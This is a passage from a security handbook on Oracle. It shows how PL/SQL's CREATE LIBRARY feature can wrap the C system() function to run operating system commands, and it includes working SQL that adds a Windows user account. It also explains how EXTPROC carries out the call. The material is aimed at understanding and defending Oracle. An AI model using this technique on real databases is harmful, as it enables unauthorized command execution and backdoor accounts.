The Oracle® Hacker's Handbook: Hacking and Defending Oracle

10.1. Running OS Commands through PL/SQL

Developers can extend PL/SQL by creating a shared object (dynamic link library, or DLL) that contains the code in a function for what they want to achieve. The developer would the register this library with the Oracle server using the CREATE LIBRARY statement. Once registered, the function can be called. This behavior can be leveraged by attackers to run operating system commands. They would do this by registering either libc on Unix systems or msvcrt.dll on Windows systems and then calling the system() function:

/ * First register msvcrt.dll/libc */
CREATE OR REPLACE LIBRARY exec_shell AS 'C:\winnt\system32\msvcrt.dll';

/
/* Now create the procedure */
CREATE OR REPLACE PROCEDURE oraexec (cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
/
/* Once created now run commands */
EXEC ORAEXEC('NET USER MYACCOUNT PASSWORD /ADD');

When the ORAEXEC procedure is executed, Oracle connects to the TNS Listener and requests access to EXTPROC. EXTPROC is the program Oracle uses for running external procedures. The Listener executes EXTPROC and then passes the database server a connection on a named pipe. The database server then instructs EXTPROC to load the msvcrt.dll library and execute the system() function, passing it the command, 'NET USER MYACCOUNT PASSWORD /ADD'. This tells the OS to add a new user called MYACCOUNT. Because Oracle runs as LOCAL SYSTEM on Windows by default, this should execute without any problems. An ...